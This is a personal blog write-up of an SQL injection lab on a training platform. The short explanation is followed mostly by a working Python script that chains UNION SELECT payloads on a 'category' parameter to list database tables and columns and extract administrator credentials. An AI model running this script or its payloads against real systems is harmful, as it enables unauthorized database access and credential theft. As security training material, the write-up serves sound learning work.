Shubham Ranpise

Back

SQLi Lab 5

SQL injection for metadata enumeration and admin credential extraction

SQL Injection Attack — Listing Database Contents on Non-Oracle Databases#

In this lab, I explored how SQL injection (SQLi) vulnerabilities can be escalated beyond authentication bypass to full database enumeration. The lab targeted a non-Oracle database (like MySQL or Microsoft SQL Server), using metadata tables such as information_schema.tables and information_schema.columns.

By chaining multiple UNION SELECT injections, I was able to list all table names, extract sensitive column names like username and password, and ultimately retrieve administrator credentials. The exercise demonstrated how exposing metadata through SQLi can lead to complete account compromise — a common, yet severe, backend vulnerability.

How Exploit Works#

  • The category parameter is vulnerable to SQL injection.
  • A UNION SELECT is used to list table names from information_schema.tables.
  • Another injection pulls column names from information_schema.columns.
  • The script identifies the table that stores user credentials.
  • A final injection dumps usernames and passwords.
  • Admin credentials are extracted from the output.

Usage#

python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmd

Exploit#

exploit.py
import requests
import sys
import urllib3
from bs4 import BeautifulSoup

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

def Get_User_Table(url):
    uri = '/filter?category='
    payload = '\' UNION+SELECT table_name, NULL FROM information_schema.tables--'
    r = requests.get(url + uri + payload , verify=False, proxies=proxies)
    soup = BeautifulSoup(r.text, 'html.parser')
    for th in soup.find_all('th'):
        if th.text.startswith('users_'):
            user_value = th.text
            break
    
    return user_value


def Get_columns(url, Table_Name):
    uri = '/filter?category='
    payload = f"'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='{Table_Name}'--"
    r = requests.get(url + uri + payload , verify=False, proxies=proxies)
    soup = BeautifulSoup(r.text, 'html.parser')
    for th in soup.find_all('th'):
        if th.text.startswith('username_'):
            user_value = th.text
            break

    for th in soup.find_all('th'):
        if th.text.startswith('password_'):
            password_value = th.text
            break
    
    return user_value, password_value


def Get_Administrator_Credentials(url, Get_User_Table, table_name):
    user, pwd = Get_User_Table
    payload = f"' UNION SELECT {user}, {pwd} FROM {table_name}--"
    uri = '/filter?category='
    r = requests.get(url + uri + payload , verify=False, proxies=proxies)
    soup = BeautifulSoup(r.text, 'html.parser')
    
    
    # Find the row where <th> contains "administrator"
    admin_row = soup.find('th', string='administrator')

    if admin_row:
        admin_username = admin_row.text.strip()
        admin_password = admin_row.find_next_sibling('td').text.strip()
        print("Username:", admin_username)
        print("Password:", admin_password)
    else:
        print("Administrator entry not found.")


if __name__ == "__main__":
    try:
        url = sys.argv[1].strip()
    except IndexError:
        print("[-] Usage: %s <url>" %sys.argv[0])
        print('[-] Example: %s www.example.com ' % sys.argv[0])
        sys.exit(-1)    
    
    Get_Administrator_Credentials(url, Get_columns(url, Get_User_Table(url)), Get_User_Table(url))                    
python